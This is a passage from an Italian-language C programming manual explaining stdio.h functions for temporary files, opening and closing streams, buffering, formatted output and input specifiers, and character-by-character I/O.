La funzione ***tempnam()*** richiede l'indicazione di una stringa contenente il percorso di una directory, in cui si vuole sia creato un file temporaneo. Se la stringa indica una directory inadatta (perché non esiste o non è accessibile o non gli si può scrivere) oppure si indica il puntatore nullo, si fa riferimento a quanto descritto dalla macro-variabile ***P_tmpdir***. Se anche la directory a cui si riferisce la macro-variabile ***P_tmpdir*** dà dei problemi, è possibile che la funzione decida in qualche modo dove sia possibile collocare un file temporaneo.

Il secondo argomento della funzione è una stringa che rappresenta un prefisso da usare per il nome del file temporaneo. Tale prefisso può essere lungo al massimo cinque caratteri. Se si vuole omettere tale prefisso, basta indicare il puntatore nullo.

Se tutto va bene, la funzione alloca dello spazio in memoria per la stringa che deve contenere il percorso di un file temporaneo che si potrebbe creare (ma senza crearlo) e ne restituisce il puntatore. Quando tale informazione non serve più, la memoria allocata può essere liberata con la funzione ***free()***. Se invece la funzione fallisce nel suo compito, restituisce il puntatore nullo e aggiorna la variabile ***errno***.

80.17.7 Funzioni per l'apertura e la chiusura dei flussi di file

Le funzioni ***fopen()***, ***freopen()*** e ***fclose()***, consentono di aprire e chiudere i file, gestendoli attraverso un puntatore al ***flusso di file*** loro associato (*stream*). Il puntatore in questione è di tipo '**`FILE *`**'.

```
FILE *fopen   (const char *restrict filename,
               const char *restrict io_mode);

FILE *freopen (const char *restrict filename,
               const char *restrict io_mode,
               FILE *restrict stream);

int   fclose  (FILE *stream);
```

Quando viene aperto un file, gli si associa una variabile strutturata (un'area di memoria suddivisa in più componenti scalari) di tipo '**`FILE`**', contenente tutte le informazioni che servono a gestirne l'accesso. Questa variabile deve rimanere univoca e vi si accede normalmente attraverso un puntatore ('**`FILE *`**'). Dal momento che per il linguaggio C un file aperto è un flusso, la variabile strutturata che contiene le informazioni necessarie a gestirne l'accesso viene identificata come il flusso stesso, pertanto nei prototipi la variabile che contiene il puntatore '**`FILE *`**' viene denominata generalmente ***stream***.

Dal momento che non è compito del programmatore dichiarare la variabile di tipo '**`FILE`**', in pratica ci si riferisce al flusso di file sempre solo attraverso un puntatore a quella variabile. Pertanto, è più propriamente il puntatore a tale variabile che rappresenta il flusso di file.

L'apertura di un file, oltre che l'indicazione del nome del file, richiede di specificare la modalità, ovvero il tipo di accesso che si intende gestire. Sono previste le modalità elencate nella tabella 80.258.

Tabella 80.258. Modalità di accesso ai file.

Sigla	Mnemonico	Descrizione
`r`	*read*	Accesso in sola lettura di un file di testo.
`w`	*write*	Accesso a un file di testo in scrittura, che implica la creazione del file all'apertura, ovvero il suo troncamento a zero, se esiste già.
`a`	*append*	Accesso a un file di testo in aggiunta, che implica la creazione del file all'apertura, ovvero la sua estensione se esiste già.

`rb`
`wb`
`ab`
	binary	Accesso in lettura, scrittura o aggiunta, ma di tipo binario.

`r+`
`w+`
`a+`
	update	Accesso a un file di testo in lettura, scrittura o aggiunta, assieme alla modalità di aggiornamento. In pratica, con la lettura è consentita anche la scrittura; con la scrittura e l'aggiunta è consentita anche la rilettura.

`rb+` | `r+b`
`wb+` | `w+b`
`ab+` | `a+b`
		Accesso a un file binario in lettura, scrittura o aggiunta, assieme alla modalità di aggiornamento. In pratica, con la lettura è consentita anche la scrittura; con la scrittura e l'aggiunta è consentita anche la rilettura. Si può osservare che il segno '**`+`**' può essere messo indifferentemente in mezzo o alla fine.

La funzione ***fopen()*** apre il file indicato come primo argomento (una stringa), con la modalità specificata nel secondo (un'altra stringa), restituendo il puntatore al flusso che consente di accedervi (se l'operazione fallisce, la funzione restituisce il puntatore nullo). La modalità di accesso viene espressa attraverso le sigle elencate nella tabella 80.258.

La funzione ***freopen()*** consente di associare un file differente a un flusso già esistente, cambiando anche la modalità di accesso, cosa che viene fatta normalmente per ridirigere i flussi standard. I primi due argomenti della funzione sono gli stessi di ***fopen()***, con l'aggiunta alla fine del puntatore al flusso che si vuole ridirigere. La funzione restituisce il puntatore al flusso ridiretto se l'operazione ha successo, altrimenti produce soltanto il puntatore nullo. Se nel primo argomento, al posto di indicare il nome del file, si mette un puntatore nullo, la chiamata della funzione serve solo per modificare la modalità di accesso a un file già aperto, senza ridirigerne il flusso. Va osservato che il cambiamento della modalità di accesso, in ogni caso, dipende dal sistema operativo e non è detto che si possano applicare tutte le combinazioni.

La funzione ***fclose()*** permette di chiudere il flusso indicato come argomento, restituendo un valore numerico pari a zero se l'operazione ha successo, oppure il valore corrispondente alla macro-variabile ***EOF*** in caso contrario. La chiusura di un flusso implica la scrittura di dati rimasti in sospeso (in una memoria tampone). Un flusso già chiuso non deve essere chiuso nuovamente.

Dal momento che lo standard POSIX introduce il concetto di descrittore di file, per poter associare un flusso di file a un file già aperto come descrittore, si usa la funzione ***fdopen()***, mentre per fare il contrario, si usa la funzione ***fileno()***:

POSIX

```
FILE *fdopen  (int fdn, const char *io_mode);
int   fileno  (FILE *stream);
```

La funzione ***fdopen()*** richiede l'indicazione del numero del descrittore e della modalità di accesso, la quale deve essere compatibile con quanto già definito a proposito del descrittore stesso. L'associazione tra flusso di file e descrittore comporta inizialmente l'azzeramento dell'indicatore di errore e di quello di fine file; inoltre, se viene chiuso il flusso di file, si ottiene automaticamente la chiusura del descrittore relativo.

La funzione ***fileno()*** restituisce il numero di descrittore associato a un flusso di file già aperto. Se però l'operazione fallisce, restituisce il valore -1 e aggiorna la variabile ***errno***.

80.17.8 Funzioni per la gestione della memoria tampone

Le funzioni ***setvbuf()*** e ***setbuf()*** consentono di attribuire una memoria tampone (*buffer*) a un certo flusso di dati (un file già aperto), mentre ***fflush()*** consente di richiedere espressamente lo scarico della memoria in modo che le operazioni sospese di scrittura siano portate a termine completamente.

```
int  setvbuf (FILE *restrict stream, char *restrict buffer,
              int buf_mode, size_t size);

void setbuf  (FILE *restrict stream, char *restrict buffer);

int  fflush  (FILE *stream);
```

La funzione ***setvbuf()*** permette di attribuire una memoria tampone a un file che è appena stato aperto e per il quale non è ancora stato eseguito alcun accesso. Il primo argomento della funzione è il puntatore al flusso relativo e il secondo è il puntatore all'inizio dell'array di caratteri da usare come memoria tampone. Se al posto del riferimento alla memoria tampone si indica un puntatore nullo, si intende che la funzione debba allocare automaticamente lo spazio necessario; se invece l'array viene fornito, è evidente che deve rimanere disponibile per tutto il tempo in cui il flusso rimane aperto.

Il terzo argomento atteso dalla funzione ***setvbuf()*** è un numero che esprime la modalità di funzionamento della memoria tampone. Questo numero viene fornito attraverso l'indicazione di una tra le macro-variabili ***_IOFBF***, ***_IOLBF*** e ***_IONBF***. Il quarto argomento indica la dimensione dell'array da usare come memoria tampone: se l'array viene fornito effettivamente, si tratta della dimensione che può essere utilizzata; altrimenti è la dimensione richiesta per l'allocazione automatica.

La funzione ***setvbuf()*** restituisce zero se l'operazione richiesta è eseguita con successo; diversamente restituisce un valore differente.

La funzione ***setbuf()*** è una semplificazione di ***setvbuf()*** che non restituisce alcun valore, dove al posto di indicare la modalità di gestione della memoria tampone, si intende implicitamente quella corrispondente alla macro-variabile ***_IOFBF*** (pertanto si tratta di una gestione completa della memoria tampone), mentre al posto di indicare la dimensione dell'array che costituisce la memoria tampone si intende il valore corrispondente alla macro-variabile ***BUFSIZ***. In pratica, è come utilizzare la funzione ***setvbuf()*** così:

```
(void) setvbuf (stream, buffer, _IOFBF, BUFSIZ);
```

La funzione '**`fflush`**' si usa per i file aperti in scrittura, allo scopo di aggiornare i file se ci sono dati sospesi nella memoria tampone che devono ancora essere trasferiti effettivamente. La funzione si attende come argomento il puntatore al flusso per il quale eseguire questo aggiornamento, ma se si fornisce il puntatore nullo (la macro-variabile ***NULL***), si ottiene l'aggiornamento di tutti i file aperti in scrittura. A parte questo, la funzione non altera lo stato del flusso.

La funzione ***fflush()*** restituisce zero se riesce a completare con successo il proprio compito, altrimenti restituisce il valore corrispondente a ***EOF*** e aggiorna la variabile individuata dall'espressione ***errno*** in modo da poter risalire al tipo di errore che si è presentato.

La funzione ***fflush()*** interviene solo nella memoria tampone gestita internamente al programma, ma bisogna tenere presente che il sistema operativo potrebbe gestire un'altra memoria del genere, per il cui scarico occorre eventualmente intervenire con funzioni specifiche del sistema stesso.

80.17.9 Funzioni per la composizione dell'output

Alcune funzioni del file '`stdio.h`' sono realizzate con lo scopo principale di comporre una stringa attraverso l'inserzione di componenti di vario genere, convertendo i dati in modo da poterli rappresentare in forma «tipografica», nel senso di sequenza di caratteri che hanno una rappresentazione grafica.

Queste funzioni hanno in comune una stringa contenente degli ***specificatori di conversione***, caratterizzati dal fatto che iniziano con il simbolo di percentuale ('`%`') e dalla presenza di un elenco indefinito di argomenti, il cui valore viene utilizzato in sostituzione degli specificatori di conversione. Il modo in cui si esprime uno specificatore di conversione può essere complesso, pertanto viene mostrato un modello sintattico che descrive la sua struttura:

```
%[simbolo] [n_ampiezza] [.n_precisione] [hh|h|l|ll|j|z|t|L] tipo
```

La prima cosa da individuare in uno specificatore di conversione è il tipo di argomento che viene interpretato e, di conseguenza, il genere di rappresentazione che se ne vuole produrre. Il tipo viene espresso da una lettera alfabetica, alla fine dello specificatore di conversione. La tabella successiva riepiloga i tipi principali.

Tabella 80.261. Tipi di conversione principali.

Simbolo	Tipo di argomento	Conversione applicata
`%…d` `%…i`	`int`	Numero intero con segno da rappresentare in base dieci.
`%…u`	`unsigned int`	Numero intero senza segno da rappresentare in base dieci.
`%…o`	`unsigned int`	Numero intero senza segno da rappresentare in ottale (senza lo zero iniziale che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%…x` `%…X`	`unsigned int`	Numero intero senza segno da rappresentare in esadecimale (senza il prefisso '**`0x`**' o '**`0X`**' che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%…c`	`int`	Un carattere singolo, dopo la conversione in '**`unsigned char`**'.
`%…s`	`char *`	Una stringa.
`%…f`	`double`	Un numero a virgola mobile, da rappresentare in notazione decimale fissa: **[-]** ***iii . dddddd***
`%…e` `%…E`	`double`	Un numero a virgola mobile, da rappresentare in notazione esponenziale: **[-]** ***i . dddddd*e±*xx*** **[-]** ***i . dddddd*E±*xx***
`%…g` `%…G`	`double`	Un numero a virgola mobile, rappresentato in notazione decimale fissa o in notazione esponenziale, a seconda di quale si presti meglio in base ai vincoli posti da altri componenti dello specificatore di conversione.
`%p`	`void *`	Un puntatore generico rappresentato in qualche modo in forma grafica.
`%n`	`int *`	Questo specificatore non esegue alcuna conversione e si limita a memorizzare un valore intero (di tipo '**`int`**') nella variabile a cui punta l'argomento. Per la precisione, viene memorizzata la quantità di caratteri generati fino a quel punto dalla conversione.
`%%`		Questo specificatore si limita a produrre un carattere di percentuale ('**`%`**') che altrimenti non sarebbe rappresentabile.

Nel modello sintattico che descrive lo specificatore di conversione, si vede che subito dopo il segno di percentuale può apparire un simbolo (*flag*). I simboli principali che possono essere utilizzati sono descritti nella tabella successiva.

Tabella 80.262. Alcuni simboli, o *flag*.

Simbolo	Corrispondenza
`%+`... `%#+`... `%+0`***ampiezza***... `%#+0`***ampiezza***...	Il segno «+» fa sì che i numeri con segno lo mostrino anche se è positivo. Può combinarsi con lo zero e il cancelletto.
`%0`***ampiezza***... `%+0`***ampiezza***... `%#0`***ampiezza***... `%#+0`***ampiezza***...	Lo zero fa sì che siano inseriti degli zeri a sinistra per allineare a destra il valore, nell'ambito dell'ampiezza specificata. Può combinarsi con il segno «+» e il cancelletto.
`%`***ampiezza***... `% `***ampiezza***...	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi. È possibile esprimere esplicitamente l'intenzione di usare gli spazi mettendo proprio uno spazio, ma in generale non è richiesto. Se si mette lo spazio letteralmente, questo non è poi compatibile con lo zero, mentre le combinazioni con gli altri simboli sono ammissibili.
`%-`***ampiezza***... `%-+`***ampiezza***... `%#-`***ampiezza***... `%#-+`***ampiezza***...	Il segno meno, usato quando la conversione prevede l'uso di una quantità fissa di caratteri con un valore che appare di norma allineato a destra, fa sì che il risultato sia allineato a sinistra. Il segno meno si può combinare il segno «+» e il cancelletto.
`%#`...	Il cancelletto richiede una modalità di rappresentazione alternativa, ammesso che questa sia prevista per il tipo di conversione specificato. È compatibili con gli altri simboli, ammesso che il suo utilizzo serva effettivamente per ottenere una rappresentazione alternativa.

Subito prima della lettera che definisce il tipo di conversione, possono apparire una o due lettere che modificano la lunghezza del valore da interpretare (per lunghezza si intende qui la quantità di byte usati per rappresentarlo). Per esempio, '**`%`...`Lf`**' indica che la conversione riguarda un valore di tipo '**`long double`**'. Tra questi specificatori della lunghezza del dato in ingresso ce ne sono alcuni che indicano un rango inferiore a quello di '**`int`**', come per esempio '**`%`...`hhd`**' che si riferisce a un numero intero della dimensione di un '**`signed char`**'; in questi casi occorre comunque considerare che nella trasmissione degli argomenti alle funzioni interviene sempre la promozione a intero, pertanto viene letto il dato della dimensione specificata, ma viene «consumato» il risultato ottenuto dalla promozione. La tabella successiva riepiloga i modificatori di lunghezza principali.

Tabella 80.263. Alcuni modificatori della lunghezza del dato in ingresso.

Simbolo	Tipo	Simbolo	Tipo
%...hhd %...hhi	signed char	%...hhu %...hho %...hhx | %...hhX	unsigned char
%...hd %...hi	short int	%...hu %...ho %...hx | %...hX	unsigned short int
%...ld %...li	long int	%...lu %...lo %...lx | %...lX	unsigned long int
%...lc	wint_t	%...ls	wchar_t *
%...lld %...lli	long long int	%...llu %...llo %...llx | %...llX	unsigned long long int
%...jd %...ji	intmax_t	%...ju %...jo %...jx | %...jX	uintmax_t
%...zd %...zi	size_t	%...zu %...zo %...zx | %...zX	size_t
%...td %...ti	ptrdiff_t	%...tu %...to %...tx | %...tX	ptrdiff_t
%...Le | %...LE %...Lf | %...LF %...Lg | %...LG	long double		

I modificatori di lunghezza si possono utilizzare anche con il tipo '**%...n**'. In tal caso, si intende che il puntatore sia del tipo specificato dalla lunghezza. Per esempio, '**%tn**' richiede di memo-

rizzare la quantità di byte composta fino a quel punto in una variabile di tipo '**`ptrdiff_t`**', a cui si accede tramite il puntatore fornito.

Tra il simbolo (*flag*) e il modificatore di lunghezza può apparire un numero che rappresenta l'ampiezza da usare nella trasformazione ed eventualmente la precisione: '***ampiezza*** **[** **.** ***precisione*** **]**'. Il concetto parte dalla rappresentazione dei valori in virgola mobile, dove l'ampiezza indica la quantità complessiva di caratteri da usare e la precisione indica quanti di quei caratteri usare per il punto decimale e le cifre successive, ma si applica anche alle stringhe.

In generale, per quanto riguarda la rappresentazione di valori numerici, la parte intera viene sempre espressa in modo completo, anche se l'ampiezza indicata è inferiore; ai numeri interi la precisione non si applica; per i numeri in virgola mobile con rappresentazione esponenziale, la precisione riguarda le cifre decimali che precedono l'esponente; per le stringhe la precisione specifica la quantità di caratteri da considerare, troncando il resto.

In un altro capitolo, la tabella 78.26 riporta un elenco di esempi di utilizzo della funzione ***printf()*** dove si può valutare l'effetto dell'indicazione dell'ampiezza e della precisione.

L'ampiezza, o la precisione, o entrambe, potrebbero essere indicate da un asterisco, come per esempio '**`%*.*f`**'. L'asterisco usato in questo modo indica che il valore corrispondente (ampiezza, precisione o entrambe) viene tratto dagli argomenti come intero ('**`int`**'). Pertanto, per tornare all'esempio composto come '**`%*.*f`**', dagli argomenti viene prelevato un intero che rappresenta l'ampiezza, un altro intero che rappresenta la precisione, quindi si preleva un valore '**`double`**' che è quanto va rappresentato secondo l'ampiezza e la precisione richieste.

80.17.9.1 Funzioni che ricevono gli argomenti direttamente

Un gruppo di funzioni per la composizione dell'output riceve direttamente gli argomenti variabili che servono agli specificatori di conversione:

```
int sprintf  (char *restrict s, const char *restrict format, ...);
int snprintf (char *restrict s, size_t n, const char *restrict format,
              ...);
int fprintf  (FILE *restrict stream, const char *restrict format,
              ...);
int printf   (const char *restrict format, ...);
```

Tutte le funzioni di questo gruppo hanno in comune la stringa di composizione, costituita dal parametro ***format***, e gli argomenti successivi che sono in quantità e qualità indeterminata, in quanto per la loro interpretazione contano gli specificatori di conversione inseriti nella stringa di composizione. Inoltre, tutte queste funzioni restituiscono la quantità di caratteri prodotti dall'elaborazione della stringa di composizione. Va osservato che il conteggio riguarda solo i caratteri e non include, eventualmente, il carattere nullo di terminazione di stringa che viene usato per le funzioni ***sprintf()*** e ***snprintf()***. Se durante il procedimento di composizione si verifica un errore, queste funzioni possono restituire un valore negativo.

La funzione ***sprintf()*** produce il risultato della composizione memorizzandolo a partire dal puntatore indicato come primo parametro (***s***) e aggiungendo il carattere nullo di terminazione. La funzione ***snprintf()***, invece, produce al massimo ***n***−1 caratteri, aggiungendo sempre il carattere nullo di terminazione.

La funzione ***fprintf()*** scrive il risultato della composizione attraverso il flusso di file ***stream***, mentre ***printf()*** lo scrive attraverso lo standard output.

80.17.9.2 Funzioni che ricevono gli argomenti da un'altra funzione

A fianco delle funzioni descritte nella sezione precedente, un gruppo analogo svolge le stesse operazioni, ma ricevendo gli argomenti variabili per riferimento. In pratica si tratta di ciò che serve quando gli argomenti variabili sono stati ottenuti da un'altra funzione e non da una chiamata diretta.

```
int vsprintf  (char *restrict s, const char *restrict format, va_list arg);
int vsnprintf (char *restrict s, size_t n, const char *restrict format, va_list arg);
int vfprintf  (FILE *restrict stream, const char *restrict format, va_list arg);
int vprintf   (const char *restrict format, va_list arg);
```

Il funzionamento è conforme a quello delle funzioni che non hanno la lettera '**v**' iniziale; per esempio, ***vsprintf()*** si comporta conformemente a ***sprintf()***. Per comprendere la differenza si potrebbe dimostrare la realizzazione ipotetica della funzione ***printf()*** avvalendosi di ***vprintf()***:

```
int printf   (const char *restrict format, ...)
{
  va_list arg;
  va_start (arg, format);
  int count;
  count = vprintf (format, arg);
  va_end (arg);
  return count;
}
```

80.17.10 Funzioni per l'interpretazione dell'input

Un piccolo gruppo di funzioni del file '`stdio.h`' è specializzato nell'interpretazione di una stringa, dalla quale si vanno a estrapolare dei componenti da collocare in variabili di tipo opportuno. In altri termini, da una stringa che rappresenta un valore espresso attraverso caratteri grafici, si vuole estrarre il valore e assegnare a una certa variabile.

Il meccanismo è opposto a quello usato dalle funzioni del tipo '...**`printf()`**' e anche in questo caso si parte da una stringa contenente principalmente degli specificatori di conversione, seguita da un numero indefinito di argomenti. Gli specificatori delle funzioni che interpretano l'input sono simili a quelli usati per la composizione dell'output, ma non possono essere equivalenti in tutto. Sinteticamente si possono descrivere così:

`%`[`*`] [***n_ampiezza***] [`hh`|`h`|`l`|`ll`|`j`|`z`|`t`|`L`] ***tipo***

Come si può vedere, all'inizio può apparire un asterisco, il cui scopo è quello di annullare l'assegnamento del valore a una variabile. In pratica, con l'asterisco il dato corrispondente allo specificatore viene interpretato, ma poi non viene salvato.

Successivamente può apparire un numero che rappresenta l'ampiezza del dato da interpretare, in byte, il cui scopo è quello di limitare la lettura fino a un certo carattere (inteso come '**`char`**', pertanto le sequenze multibyte contano per più di una unità singola).

Dopo può apparire una sigla, composta da una o più lettere, il cui scopo è quello di modificare la dimensione predefinita della variabile di destinazione. In altri termini, senza questo modificatore si intende che la variabile ricevente debba essere di una certa grandezza, ma con l'aggiunta del «modificatore di lunghezza» si precisa invece qualcosa di diverso. In pratica, il modificatore di lunghezza usato da queste funzioni è equivalente a quello delle funzioni di composizione dell'output.

Al termine dello specificatore di conversione appare una lettera che dichiara come deve essere interpretato il dato in ingresso e, in mancanza del modificatore di lunghezza, indica anche la dimensione della variabile ricevente.

Tabella 80.267. Tipi di conversione principali.

Simbolo	Tipo di argomento	Conversione applicata
`%…d`	`int *`	Numero intero con segno rappresentato in base dieci.
`%…i`	`int *`	Numero intero con segno rappresentare in base dieci o in base otto, avendo come prefisso uno zero, oppure in base sedici, avendo come prefisso '**`0x`**' o '**`0X`**'.
`%…u`	`unsigned int *`	Numero intero senza segno rappresentato in base dieci.
`%…o`	`unsigned int *`	Numero intero senza segno rappresentato in ottale (con o senza lo zero iniziale).
`%…x`	`unsigned int *`	Numero intero senza segno rappresentato in esadecimale (con o senza il prefisso '**`0x`**' o '**`0X`**').
`%…c`	`char *`	Interpreta un solo carattere, o più caratteri se si specifica l'ampiezza. Nella lettura contano anche gli spazi o qualunque altro carattere e non viene aggiunto il carattere nullo di terminazione.
`%…s`	`char *`	Interpreta una sequenza di caratteri che non siano spazi, aggiungendo alla fine il carattere nullo di terminazione.

`%…a`
`%…e`
`%…f`
`%…g`
	`double *`	Un numero a virgola mobile rappresentato in notazione decimale fissa o in notazione esponenziale:
		[-] ***iii . dddddd***
		[-] ***i . dddddd*`e`**±*xx*
		[-] ***i . dddddd*`E`**±*xx*

`%p`	`void *`	Interpreta il valore di un puntatore che sia rappresentato nello stesso modo in cui farebbe la funzione '**`printf("%p",`** ***puntatore*****`)`**'.
`%n`	`int *`	Questo specificatore non esegue alcuna conversione e si limita a memorizzare la quantità di caratteri ('**`char`**') letti fino a quel punto.
`%…[…]`	`char *`	Interpreta una stringa non vuota contenente solo i caratteri elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri si cerca anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**`%…[]…]`**'.

Simbolo	Tipo di argomento	Conversione applicata
`%...[^...]`	`char *`	Interpreta una stringa non vuota contenente solo caratteri diversi da quelli elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri da escludere si vuole indicare anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**%...[^]...]**'.
`%%`		Interpreta un carattere di percentuale tra i dati in ingresso, ma senza memorizzare alcunché.

Tabella 80.268. Alcuni modificatori della lunghezza del dato in uscita.

Simbolo	Tipo	Simbolo	Tipo

`%...hhd`
`%...hhi`
	`signed char *`	`%...hhu`
		`%...hho`
		`%...hhx`
		`%...hhn`
			`unsigned char *`

`%...hd`
`%...hi`
	`short int *`	`%...hu`
		`%...ho`
		`%...hx`
		`%...hn`
			`unsigned short int *`

`%...ld`
`%...li`
	`long int *`	`%...lu`
		`%...lo`
		`%...lx`
		`%...ln`
			`unsigned long int *`

		`%...lc`
		`%...ls`
		`%...lc`
		`%...l[...]`
			`wchar_t *`

`%...lld`
`%...lli`
	`long long int *`	`%...llu`
		`%...llo`
		`%...llx`
		`%...lln`
			`unsigned long long int *`

Simbolo	Tipo	Simbolo	Tipo
%...jd %...ji	intmax_t *	%...ju %...jo %...jx %...jn	uintmax_t *
%...zd %...zi	size_t *	%...zu %...zo %...zx %...zn	size_t *
%...td %...ti	ptrdiff_t *	%...tu %...to %...tx %...tn	ptrdiff_t *
%...Le %...Lf %...Lg	long double *		

A proposito dell'interpretazione di caratteri e di stringhe, va precisato cosa accade quando si usa il modificatore '**l**' (elle). Se nello specificatore di conversione appare un valore numerico che esprime un'ampiezza, questa indica una quantità di caratteri, in ingresso, da intendersi come byte. Utilizzando gli specificatori '**%...lc**' e '**%...ls**', la quantità di questi caratteri continua a riferirsi a byte, ma si interpretano le sequenze multibyte in ingresso per generare caratteri di tipo '**wchar_t**'.

Il documento che descrive lo standard del linguaggio afferma che la stringa di conversione è composta da direttive, ognuna delle quali è formata da: uno o più spazi (spazi veri e propri o caratteri di tabulazione orizzontale); un carattere multibyte diverso da '**%**' e diverso dai caratteri che rappresentano spazi, oppure uno specificatore di conversione.

[*spazi*] ***carattere_multibyte*** | %...

Dalla sequenza multibyte che costituisce i dati in ingresso da interpretare, vengono eliminati automaticamente gli spazi iniziali e finali (tutto ciò che si può considerare spazio, anche il codice di interruzione di riga), quando all'inizio o alla fine non ci sono corrispondenze con specificatori di conversione che possono interpretarli.

Quando la direttiva di interpretazione inizia con uno o più spazi orizzontali, significa che si vogliono ignorare gli spazi a partire dalla posizione corrente nella lettura dei dati in ingresso;

inoltre, la presenza di un carattere che non fa parte di uno specificatore di conversione indica che quello stesso carattere deve essere incontrato nell'interpretazione dei dati in ingresso, altrimenti il procedimento di lettura e valutazione si deve interrompere. Se due specificatori di conversione appaiono adiacenti, i dati in ingresso corrispondenti possono essere separati da spazi orizzontali o da spazi verticali (il codice di interruzione di riga).

Purtroppo, la sintassi per la scrittura delle stringhe di conversione non è molto soddisfacente e diventa difficile spiegarne il comportamento, a meno di rimanere fermi su esempi molto semplici.

80.17.10.1 Funzioni che ricevono gli argomenti direttamente

Un gruppo di funzioni per l'interpretazione dell'input riceve direttamente gli argomenti variabili che servono agli specificatori di conversione:

```
int fscanf (FILE *restrict stream, const char *restrict format, ...);
int sscanf (const char *restrict s, const char *restrict format, ...);
int scanf  (const char *restrict format, ...);
```

Tutte le funzioni di questo gruppo hanno in comune la stringa di conversione, costituita dal parametro ***format***, e gli argomenti successivi che sono puntatori di tipo indeterminato, in quanto per la loro interpretazione contano gli specificatori di conversione inseriti nella stringa. Inoltre, tutte queste funzioni restituiscono la quantità di valori assegnati alle variabili rispettive, oppure il valore corrispondente alla macro-variabile ***EOF*** nel caso si verifichi un errore prima di qualunque conversione.

La funzione ***sscanf()*** scandisce il contenuto della stringa indicata come primo parametro (***s***); la funzione ***fscanf()*** scandisce l'input proveniente dal flusso di file indicato come primo argomento (***stream***), mentre la funzione ***scanf()*** scandisce direttamente lo standard input.

80.17.10.2 Funzioni che ricevono gli argomenti da un'altra funzione

A fianco delle funzioni descritte nella sezione precedente, un gruppo analogo svolge le stesse operazioni, ma ricevendo gli argomenti variabili per riferimento. In pratica si tratta di ciò che serve quando gli argomenti variabili sono stati ottenuti da un'altra funzione e non da una chiamata diretta.

```
int vfscanf (FILE *restrict stream, const char *restrict format,
             va_list arg);
int vsscanf (const char *restrict s, const char *restrict format,
             va_list arg);
int vscanf  (const char *restrict format, va_list arg);
```

Il funzionamento è conforme a quello delle funzioni che non hanno la lettera '**v**' iniziale; per esempio, ***vscanf()*** si comporta conformemente a ***scanf()***. Per comprendere la differenza si potrebbe dimostrare la realizzazione ipotetica della funzione ***scanf()*** avvalendosi di ***vscanf()***:

```
int scanf (const char *restrict format, ...);
{
  va_list arg;
  va_start (arg, format);
  int count;
  count = vscanf (format, arg);
  va_end (arg);
  return count;
}
```

80.17.11 Funzioni per la lettura e la scrittura di un carattere alla volta

Le funzioni ***fgetc()*** e ***getc()*** leggono un carattere (*char*) attraverso il flusso di file indicato come argomento:

```
int fgetc (FILE *stream);

#define getc(STREAM) (fgetc (STREAM))
```

Lo standard prescrive che la funzione ***getc()*** sia in realtà una macro-istruzione, così come si ipotizza nella dichiarazione appena mostrata. A questo proposito occorre tenere presente che, se si usa ***getc()***, l'espressione usata per individuare il flusso di file potrebbe essere valutata più di una volta.

Il carattere letto da ***fgetc()*** viene interpretato senza segno e trasformato in un intero (pertanto deve risultare essere di segno positivo). Se viene tentata la lettura oltre la fine del file, la funzione restituisce il valore rappresentato da '**EOF**' e memorizza questa condizione nella variabile strutturata che rappresenta il flusso di file. Se invece si verifica un errore di lettura, viene impostato il contenuto dell'indicatore di errore relativo al flusso di file e la funzione restituisce sempre il valore '**EOF**'.

Secondo lo standard, la funzione ***getchar()*** è equivalente a '**getc (stdin)**', senza specificare altro. Ciò può significare ragionevolmente che se ***getc()*** è una macro-istruzione, anche ***getchar()*** dovrebbe esserlo, altrimenti potrebbe trattarsi di una funzione vera e propria:

```
#define getchar (getc (stdin))
```

La funzione ***ungetc()*** ha lo scopo di annullare l'effetto della lettura dell'ultimo carattere, ma il modo in cui viene gestita la cosa rende la questione molto delicata:

```
int ungetc (int c, FILE *stream);
```

Semplificando il problema, la funzione ***ungetc()*** rimanda indietro il carattere ***c*** nel flusso di file ***stream*** dal quale è appena stata eseguita una lettura. Tuttavia, non è garantito che il carattere in questione sia effettivamente quello che è stato letto per ultimo, ma la fase successiva di lettura deve fornire per primo tale carattere.

Si comprende intuitivamente che, se si eseguono operazioni di spostamento della posizione corrente relativa al flusso di file in questione, il carattere rimandato indietro con la funzio-

ne ***ungetc()*** debba essere dimenticato, soprattutto se questo non corrispondeva a quello che effettivamente era stato letto per ultimo in quel momento.

L'uso della funzione ***ungetc()*** implica un aggiornamento della posizione corrente relativa al flusso di file, ma questa modifica, in presenza di file di testo che non siano realizzati secondo lo standard tradizionale dei sistemi Unix, implica che l'entità di questa modifica non possa essere predeterminabile.[11]

La funzione ***ungetc()*** può fallire nel suo intento e lo standard prescrive che sia «garantita» la possibilità di rimandare indietro almeno un carattere. Se la funzione riesce a eseguire l'operazione, restituisce il valore positivo corrispondente al carattere rinviato; altrimenti restituisce il valore della macro-variabile ***EOF***.

Le funzioni ***fputc()***, ***putc()*** e ***putchar()*** eseguono l'operazione inversa, rispettivamente, di '**`fgetc`**', ***getc()*** e ***getchar()***; anche in questo caso vale il fatto che ***putc()*** possa essere realizzata come macro-istruzione:

```
int fputc (int c, FILE *stream);

#define putc(CHAR, STREAM) (fputc ((CHAR), (STREAM)))

#define putchar(CHAR) (putc ((CHAR), stdout)))
```

La funzione ***fputc()*** scrive un carattere (fornito come numero intero positivo) attraverso il flusso di file indicato; ***putc()*** fa lo stesso, ma potrebbe essere una macro-istruzione; ***putchar()*** scrive attraverso lo standard output.

Se la scrittura fallisce, le funzioni (o le macro-istruzioni) restituiscono il valore ***EOF***; diversamente restituiscono il valore positivo corrispondente al carattere scritto.

Per come sono state proposte queste funzioni, non c'è differenza nell'uso di ***getc()*** al posto di ***fgetc()***, così come tra ***putc()*** e ***fputc()***. Evidentemente, se la propria libreria può esprimere le macro-istruzioni ***getc()*** e ***putc()*** richiamando funzioni del sistema operativo (funzioni che dovrebbero essere richiamate anche da ***fgetc()*** e ***fputc()***), si può risparmiare un livello di chiamate per accelerare leggermente l'esecuzione del programma.

80.17.12 Funzioni per l'input e l'output di file di testo

Le funzioni ***fgets()*** e ***fputs()*** sono utili per l'accesso a file di testo, quando si vuole indicare il flusso di file:

```
char *fgets (char *restrict s, int n, FILE *restrict stream);

int   fputs (const char *restrict s, FILE *restrict stream);
```

